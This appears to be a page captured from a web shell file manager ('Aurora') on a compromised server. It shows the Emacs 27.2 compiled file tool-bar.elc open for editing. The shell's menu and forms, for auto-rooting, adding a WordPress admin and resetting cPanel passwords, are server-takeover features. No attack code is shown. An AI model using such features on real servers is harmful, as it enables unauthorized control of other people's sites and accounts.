Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: tool-bar.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; #@402 Toggle the tool bar in all graphical frames (Tool Bar mode). If called interactively, enable Tool-Bar mode if ARG is positive, and disable it if ARG is zero or negative. If called from Lisp, also enable the mode if ARG is omitted or nil, and toggle it if ARG is `toggle'; disable the mode otherwise. See `tool-bar-add-item' and `tool-bar-add-item-from-menu' for conveniently adding tool bar items. (defalias 'tool-bar-mode #[(&optional arg) "\306 \307=\203 \n?\202 \310 !\311V\211\203 \312\202 \311\313 \314 \211 \2037 @\315\f\316 #\210 A\211\204' *\316 \236\203J \316 B\317\316 \"B )\n\203[ \320\321!G\312U\203[ \322 \210\323\324\n\203e \325\202f \326\"\210\327\330!\203\215 \306 \203z \306 \232\203\215 \331 \332\333\n\203\207 \334\202\210 \335 #\210))\336 \210\n\207" [#1=#:last-message arg tool-bar-mode val frame --dolist-tail-- current-message toggle prefix-numeric-value 0 1 frame-list nil set-frame-parameter tool-bar-lines assq-delete-all default-value tool-bar-map tool-bar-setup run-hooks tool-bar-mode-hook tool-bar-mode-on-hook tool-bar-mode-off-hook called-interactively-p any "" message "Tool-Bar mode %sabled%s" "en" "dis" force-mode-line-update default-frame-alist local] 5 (#$ . 409) (list (or current-prefix-arg 'toggle))]) (defvar tool-bar-mode-hook nil) (byte-code "\301\302N\204\f \303\301\302\304#\210\305\306\307\310\300!\205 \307\211%\207" [tool-bar-mode-map tool-bar-mode-hook variable-documentation put "Hook run after entering or leaving `tool-bar-mode'.\nNo problems result if this variable is not bound.\n`add-hook' automatically binds it. (This is true for all hook variables.)" add-minor-mode tool-bar-mode nil boundp] 6) #@112 Toggle tool bar on or off, based on the status of the current frame. See `tool-bar-mode' for more information. (defalias 'toggle-tool-bar-mode-from-frame #[(&optional arg) "\301=\203 \302\303\304\305\"\306V\203 \306\202 \307!\207\302!\207" [arg toggle tool-bar-mode frame-parameter nil tool-bar-lines 0 1] 4 (#$ . 2093) (list (or current-prefix-arg 'toggle))]) #@208 Keymap for the tool bar. To override the global tool bar, define this variable buffer-locally and add the items you want to it with `tool-bar-add-item', `tool-bar-add-item-from-menu' and related functions. (defvar tool-bar-map (make-sparse-keymap) (#$ . 2466)) (byte-code "\300\301\302\303\304!\305BB\"\207" [global-set-key [tool-bar] menu-item purecopy "tool bar" (ignore :filter tool-bar-make-keymap)] 5) (defconst tool-bar-keymap-cache (make-hash-table :weakness t :test 'equal)) #@182 Generate an actual keymap from `tool-bar-map'. Its main job is to figure out which images to use based on the display's color capability and based on the available image libraries. (defalias 'tool-bar-make-keymap #[(&optional _ignore) "\303 B\304 \n\"\206 \305 \306 \n#)\207" [tool-bar-map key tool-bar-keymap-cache frame-terminal gethash puthash tool-bar-make-keymap-1] 4 (#$ . 2957)]) #@65 Generate an actual keymap from `tool-bar-map', without caching. (defalias 'tool-bar-make-keymap-1 #[nil "\301\302\"\207" [tool-bar-map mapcar #[(bind) "\304\211\n\243\242\305=\203r \306\n8:\203 \307\202 \306\n\233\211\203r \310\311\"\211\203r :\203r @\303=\204r \312 @!\203r \313 \204E \304\202r \314 !\211\203S \315 !\204X \316 \317\"\320\n!\306\n8:\203g \307\202h \306\n\233\321\311 #\210)\n*\207" [plist image-exp bind image nil menu-item 4 5 plist-get :image fboundp display-images-p eval image-mask-p append (:mask heuristic) copy-sequence plist-put] 5]] 3 (#$ . 3353)]) #@682 Add an item to the tool bar. ICON names the image, DEF is the key definition and KEY is a symbol for the fake function key in the menu keymap. Remaining arguments PROPS are additional items to add to the menu item specification. See Info node `(elisp)Tool Bar'. Items are added from left to right. ICON is the base name of a file containing the image to use. The function will first try to use low-color/ICON.xpm if `display-color-cells' is less or equal to 256, then ICON.xpm, then ICON.pbm, and finally ICON.xbm, using `find-image'. Use this function only to make bindings in the global value of `tool-bar-map'. To define items in any other map, use `tool-bar-local-item'. (defalias 'tool-bar-add-item #[(icon def key &rest props) "\305\306 \n \f&\207" [icon def key tool-bar-map props apply tool-bar-local-item] 7 (#$ . 3952)]) #@64 Return an expression that evaluates to an image spec for ICON. (defalias 'tool-bar--image-expression #[(icon) "\306\307\310\"\306\307\311\"\312=?\205 \310D \312=?\205 \311 D\244\313\314\315 \316PF \313\314\315\317 \316QF \320\313\321\315 \322PF\n\" \320\313\323\315 \324PF\n\" \325\326\327\330 \fFDD\331\330 \f FDD\332\330\f EDDF.D\207" [fg bg colors icon xpm-spec xpm-lo-spec face-attribute tool-bar :foreground :background unspecified :type xpm :file ".xpm" "low-color/" append pbm ".pbm" xbm ".xbm" find-image cond (not (display-color-p)) quote (< (display-color-cells) 256) t pbm-spec xbm-spec] 9 (#$ . 4797)]) #@552 Add an item to the tool bar in map MAP. ICON names the image, DEF is the key definition and KEY is a symbol for the fake function key in the menu keymap. Remaining arguments PROPS are additional items to add to the menu item specification. See Info node `(elisp)Tool Bar'. Items are added from left to right. ICON is the base name of a file containing the image to use. The function will first try to use low-color/ICON.xpm if `display-color-cells' is less or equal to 256, then ICON.xpm, then ICON.pbm, and finally ICON.xbm, using `find-image'. (defalias 'tool-bar-local-item #[(icon def key map &rest props) "\306!\307\n\310 !\311\312 !\f\313 BBBBB#\210\314 )\207" [icon image-exp map key def props tool-bar--image-expression define-key-after vector menu-item symbol-name :image force-mode-line-update] 9 (#$ . 5439)]) #@602 Define tool bar binding for COMMAND in keymap MAP using the given ICON. This makes a binding for COMMAND in `tool-bar-map', copying its binding from the menu bar in MAP (which defaults to `global-map'), but modifies the binding by adding an image specification for ICON. It finds ICON just like `tool-bar-add-item'. PROPS are additional properties to add to the binding. MAP must contain appropriate binding for `[menu-bar]' which holds a keymap. Use this function only to make bindings in the global value of `tool-bar-map'. To define items in any other map, use `tool-bar-local-item-from-menu'. (defalias 'tool-bar-add-item-from-menu #[(command icon &optional map &rest props) "\304\305 \306\307!\n &\207" [command icon map props apply tool-bar-local-item-from-menu default-value tool-bar-map] 7 (#$ . 6275)]) #@445 Define local tool bar binding for COMMAND using the given ICON. This makes a binding for COMMAND in IN-MAP, copying its binding from the menu bar in FROM-MAP (which defaults to `global-map'), but modifies the binding by adding an image specification for ICON. It finds ICON just like `tool-bar-add-item'. PROPS are additional properties to add to the binding. FROM-MAP must contain appropriate binding for `[menu-bar]' which holds a keymap. (defalias 'tool-bar-local-item-from-menu #[(command icon in-map &optional from-map &rest props) "\204 \306\307\"\310 \n\" \311 ! \312\211 \f\312 \211 \203k @ \313 !\203b G\314V\203b \306\n\315 \316\317#\" \211GSH \320 !\203a 9\203a * A\211 \204% *9\203 \321!\203 \322!A\236\211 A@\323=\203\246 \324!\325!\326 A\327D\"##\210\202\332 A \324!\325! A\211 #:\203\310 #@:\203\310 #A#\326\323 @#E\327D\"#)#\210\330 .\207" [from-map global-map menu-bar-map command keys icon lookup-key [menu-bar] where-is-internal tool-bar--image-expression nil vectorp 1 substring 0 -1 keymapp boundp eval menu-item define-key-after vector append :image force-mode-line-update image-exp submap key k --dolist-tail-- kk m defn in-map props rest] 8 (#$ . 7100)]) (defalias 'tool-bar-setup #[nil "\303\304!\305\306\307\310\311\312\313\314&\210\305\315\316\310\311\317\313\314&\210\305\320\321\310\313\314%\210\305\322\323\310\313\314%\210\305\324\325\310\311\326%\210\327\330\331!\332 #\210\305\333\334\310#\210\327\330\331!\335 #\210\305\336\n\337\"\340\310\313\314%\210\305\336\n\341\"\342\310\313\314%\210\305\336\n\343\"\344\310\313\314%\210\327\330\331!\345 #\210\305\346\347\310\311\350\313\314&\207" [tool-bar-separator-image-expression menu-bar-separator menu-bar-edit-menu tool-bar--image-expression "separator" tool-bar-add-item-from-menu find-file "new" nil :label "New File" :vert-only t menu-find-file-existing "open" "Open" dired "diropen" kill-this-buffer "close" save-buffer "save" "Save" define-key-after default-value tool-bar-map [separator-1] undo "undo" [separator-2] lookup-key [cut] "cut" [copy] "copy" [paste] "paste" [separator-3] isearch-forward "search" "Search"] 8]) (byte-code "\300\301!\203 \302\303\304\305\306\307\310\311\312\313\314\315\316\317& \210\320\321!\207" [featurep move-toolbar custom-declare-variable tool-bar-position 'top "Specify on which side the tool bar shall be.\nPossible values are `top' (tool bar on top), `bottom' (tool bar at bottom),\n`left' (tool bar on left) and `right' (tool bar on right).\nCustomize `tool-bar-mode' if you want to show or hide the tool bar." :version "24.1" :type (choice (const top) (const bottom) (const left) (const right)) :group frames :initialize custom-initialize-default :set #[(sym val) "\302 \"\210\303\304 BC!\207" [sym val set-default modify-all-frames-parameters tool-bar-position] 3] provide tool-bar] 14)